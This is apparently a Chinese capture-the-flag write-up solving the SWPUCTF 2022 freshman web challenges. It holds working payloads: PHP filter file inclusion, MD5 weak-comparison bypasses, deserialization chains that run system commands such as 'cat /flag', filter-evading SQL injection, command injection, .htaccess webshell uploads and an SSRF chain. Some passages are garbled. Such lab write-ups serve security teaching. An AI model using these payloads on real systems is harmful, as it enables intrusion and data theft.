SWPUCTF 2022 新生赛-WEB部分wp

目录

ez_ez_php

ez_ez_php(revenge)

奇妙的MD5

1z_unserialize

numgame

where_am_i

 ez_ez_unserialize

js_sign

xff

 webdog1__start

ez_sql

funny_php

funny_web

ez_1zpop

Ez_upload

file_master

Power! 


ez_ez_php

源代码:

 文件包含而且还限制了开头3个字符为php

直接php伪协议

?file=php://filter/convert.base64-encode/resource=flag.php

payload:

?file=php://filter/read=convert.base64-encode/resource=flag

base64解码

ez_ez_php(revenge)

源代码:

SWPUCTF 2022 新生赛-WEB部分wp_第1张图片

payload:

?file=php://filter/convert.base64-encode/resource=/flag

base64解码SWPUCTF 2022 新生赛-WEB部分wp_第2张图片

奇妙的MD5

SWPUCTF 2022 新生赛-WEB部分wp_第3张图片

 ffifdyop

经过md5加密后:276f722736c95d99e921722cf9ed621c

再转换为字符串:'or'6<乱码>  即  'or'66�]��!r,��b

用途:

 select * from admin where password=''or'6<乱码>'

就相当于select * from admin where password=''or 1  实现sql注入

SWPUCTF 2022 新生赛-WEB部分wp_第4张图片

查看一下源代码

SWPUCTF 2022 新生赛-WEB部分wp_第5张图片

md5绕过

payload:

?x=240610708&y=QLTHNDT

SWPUCTF 2022 新生赛-WEB部分wp_第6张图片

 访问f1na11y.php

SWPUCTF 2022 新生赛-WEB部分wp_第7张图片

直接数组绕过

wqh[]=1&dsy[]=2

SWPUCTF 2022 新生赛-WEB部分wp_第8张图片

1z_unserialize

源代码:

lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

这是这一题的注入点只要传参把$a变成system();$this->lly变成ls或者cat就是一个简单的命令注入了

payload:

lt='system';
$a->lly='ls /';
echo serialize($a);
 
?> 
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";} 

SWPUCTF 2022 新生赛-WEB部分wp_第9张图片

 接下来就是cat flag就行了

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";} 

SWPUCTF 2022 新生赛-WEB部分wp_第10张图片

numgame

 SWPUCTF 2022 新生赛-WEB部分wp_第11张图片

 在设置里打开开发者工具

进入设置禁用js即可

flag在js文件中

SWPUCTF 2022 新生赛-WEB部分wp_第12张图片

base64解码

SWPUCTF 2022 新生赛-WEB部分wp_第13张图片

SWPUCTF 2022 新生赛-WEB部分wp_第14张图片 我们的目的,就是通过get传参p然后,借助 call_user_func调用nss中的ctf静态方法

if (preg_match("/n|c/m",$_GET['p'], $matches))

就是禁用了n和c,然后/m以多文本形式,

call_user_func($_GET['p']);调用p传入的函数

 这里普及一个知识点

可以通过NSS::CTF调用类中的CTF的静态方法,这里的类名和方法名不区分大小写

所以我们就可以大写绕过

又因为hint2.php

SWPUCTF 2022 新生赛-WEB部分wp_第15张图片 所以payload:

?p=Nss2::Ctf

SWPUCTF 2022 新生赛-WEB部分wp_第16张图片

where_am_i

SWPUCTF 2022 新生赛-WEB部分wp_第17张图片

猜测电话号码

去搜索图片即可

02886112888

SWPUCTF 2022 新生赛-WEB部分wp_第18张图片

 ez_ez_unserialize

源代码:

x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

payload:

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

还要绕过__wakeup函数

 所以修改为:

?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

SWPUCTF 2022 新生赛-WEB部分wp_第19张图片

js_sign

看看源代码

SWPUCTF 2022 新生赛-WEB部分wp_第20张图片

有个js

SWPUCTF 2022 新生赛-WEB部分wp_第21张图片

这应该就是解题的关键了

这里使用到一个工具

CTF在线工具-在线敲击码|敲击码编码|敲击码算法|tap code (hiencode.com)

去空格解码

3343431344215434452124331421311122125444113513341415

会出现这个

SWPUCTF 2022 新生赛-WEB部分wp_第22张图片

flag

NSSCTF{youfindflagbytapcode}

xff

SWPUCTF 2022 新生赛-WEB部分wp_第23张图片

SWPUCTF 2022 新生赛-WEB部分wp_第24张图片 SWPUCTF 2022 新生赛-WEB部分wp_第25张图片

 webdog1__start

SWPUCTF 2022 新生赛-WEB部分wp_第26张图片

SWPUCTF 2022 新生赛-WEB部分wp_第27张图片

一般的md5绕过是传入0e开头的md5值,因为在弱比较时,弱比较中会截取一个字符串的数字,知道遇到字符截止,对于0e+数字的值只会截取e之前的0,所以这里即便是令传入的md5值等于$md5后还需要等于其自身进行md5的值,我们选取0e或者加密后仍为0e开头的数就行例如:0e215962017 、以及这些纯字符串转化后为0e+数字的数:QNKCDZO、s878926199a

?web=0e215962017 

SWPUCTF 2022 新生赛-WEB部分wp_第28张图片

查看源代码 

SWPUCTF 2022 新生赛-WEB部分wp_第29张图片

bot一般就是robots.txt,在以后你们做题时候会偶尔遇到泄露robots.txt从而得到提示的情况

开始会乱码,修复即可(如果是firefox可以在定制工具栏中找到)

SWPUCTF 2022 新生赛-WEB部分wp_第30张图片

藏的还挺深 

SWPUCTF 2022 新生赛-WEB部分wp_第31张图片

SWPUCTF 2022 新生赛-WEB部分wp_第32张图片这里strstr过滤了空格

str_ireplace将flag替换成空格

payload:

?get=system(ls);

SWPUCTF 2022 新生赛-WEB部分wp_第33张图片

 %09相当于(tab)

?get=system("cat%09/f*");

SWPUCTF 2022 新生赛-WEB部分wp_第34张图片

ez_sql

SWPUCTF 2022 新生赛-WEB部分wp_第35张图片

相对安全的方法传参,这里应该指的是POST传参

尝试传一个 

SWPUCTF 2022 新生赛-WEB部分wp_第36张图片

事情应该没有这么简单

通过尝试知道过滤了空格和or

 可以用/**/替代空格or可以使用双写

nss=1'/**/oorrder/**/by/**/4#

SWPUCTF 2022 新生赛-WEB部分wp_第37张图片

我们可以得知数据库有3列

爆破数据库(union方法上同)

nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/database()),0x7e),1)#

SWPUCTF 2022 新生赛-WEB部分wp_第38张图片

爆破数据表(information的or也要过滤)

nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'),0x7e),1) #

SWPUCTF 2022 新生赛-WEB部分wp_第39张图片

爆破NSS_tb中的列

nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'),0x7e),1) #

SWPUCTF 2022 新生赛-WEB部分wp_第40张图片

爆破flag

nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/group_concat(flll444g)/**/from/**/NSS_tb),0x7e),1) #

SWPUCTF 2022 新生赛-WEB部分wp_第41张图片

一看就是个假的

爆破Secr3t

nss=0'/**/ununionion/**/select/**/1,(select/**/group_concat(Secr3t)/**/from/**/NSS_tb),3#

SWPUCTF 2022 新生赛-WEB部分wp_第42张图片

funny_php

源代码:

999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }

    
?>

 我们一步步来解

第一步

if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }

 这里要求num的长度小于等于3,但却又要大于999999999,很容易可以想到1e9传参

所以payload:

?num=1e9

第二步 

if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    } 

这里会将你传入字符串中的NSSCTF替换为空,那么我们只需要使用双写来进行绕过即可。

?str=NSSNSSCTFCTF

第三步

if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    } 

这里直接md5弱类型绕过即可

md5_1=240610708&md5_2=QLTHNDT

所以payload:

GET
?num=1e9&str=NSSNSSCTFCTF
POST
md5_1=240610708&md5_2=QLTHNDT

funny_web

账号:NSS

密码:2122693401

SWPUCTF 2022 新生赛-WEB部分wp_第43张图片

payload:

?num=12345a

 SWPUCTF 2022 新生赛-WEB部分wp_第44张图片

ez_1zpop

源代码:

impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

fin对象

fmm方法通过给�赋值后,当函数调用,如果给b赋值后,当函数调用,如果给b=‘system’

title再传入我们想要的命令

最后就可得到例,system(‘ls’) => �=′������′;a=′system′;title=‘目标命令’

lt对象

反序列化触发__wakeup,__destruct,__wakeup方法中,给impo实例一个dxg对象,并直接return,无法获取有效信息,绕过__wakeup的方法很简单,只需要将反序列化后的字符串,将对象属性数量改大,如,O:3:“fin”:3:{s:1:“a”;N;s:3:“url”;N;s:5:“title”;N;} => O:3:“fin”:4:{s:1:“a”;N;s:3:“url”;N;s:5:“title”;N;}

__destruct方法触发就很简单了,将自己当字符串输出,直接触发__toString方法,返回fmm方法

payload:

impo=new fin();
echo serialize($aa);
?>

这里修改lt属性个数绕过__wakeup

?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:2:"ur";s:3:"111";s:5:"title";s:4:"ls%20/";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QLTHNDT";}

 拿flag

payload:

impo=new fin();
echo serialize($aa);
?>
?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:2:"ur";s:3:"111";s:5:"title";s:9:"cat%20/flag";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QLTHNDT";}

Ez_upload

文件上传

SWPUCTF 2022 新生赛-WEB部分wp_第45张图片

上传.htaccess文件


SetHandler application/x-httpd-php

修改Content-Type

SWPUCTF 2022 新生赛-WEB部分wp_第46张图片

上传shell.mochu

SWPUCTF 2022 新生赛-WEB部分wp_第47张图片

访问shell.mochu即可 

SWPUCTF 2022 新生赛-WEB部分wp_第48张图片

file_master

SWPUCTF 2022 新生赛-WEB部分wp_第49张图片

先写a.php

写入

GIF89a

上传

将Content-Type修改

 发现hight和width有限制

将GIF89a修改为
#define height 1
#define width 1

SWPUCTF 2022 新生赛-WEB部分wp_第50张图片

SWPUCTF 2022 新生赛-WEB部分wp_第51张图片

蚁剑连接上了但访问不了flag不知道为什么

后面看别的师傅写的

#define height 1
#define width 1

SWPUCTF 2022 新生赛-WEB部分wp_第52张图片

Power! 

SWPUCTF 2022 新生赛-WEB部分wp_第53张图片

看一下源代码

SWPUCTF 2022 新生赛-WEB部分wp_第54张图片 盲猜get传source

SWPUCTF 2022 新生赛-WEB部分wp_第55张图片 源代码:

loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '';
            }else{
                echo '

Seriously??

'; } }else if(isset($_GET['path_info'])){ $path_info = $_GET['path_info']; $FV = unserialize(base64_decode($path_info)); $FV->loadfile(); }else{ $path = "vergil.jpg"; echo '

POWER!!

'; } } ?>

没怎么看懂

这里看大佬的wp

NSS[SWPUCTF 2022 新生赛]ez_sql+funny_php+js_sign+funny_web+Power! - 哔哩哔哩 (bilibili.com)

a=$m;
$n->b="local";
$m->local=$n;

echo (base64_encode(serialize($m)));
?> 

payload:

?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czozMDoi6buR5ZCN5Y2V5LuA5LmI55qE566h5LiN552A5oiRIjtzOjU6ImxvY2FsIjtPOjg6IkJhY2tkb29yIjozOntzOjE6ImEiO3I6MTtzOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjg6ImZsYWcucGhwIjt9

SWPUCTF 2022 新生赛-WEB部分wp_第56张图片

SWPUCTF 2022 新生赛-WEB部分wp_第57张图片

base64解码

你可能感兴趣的:(linux,web安全,javascript,前端)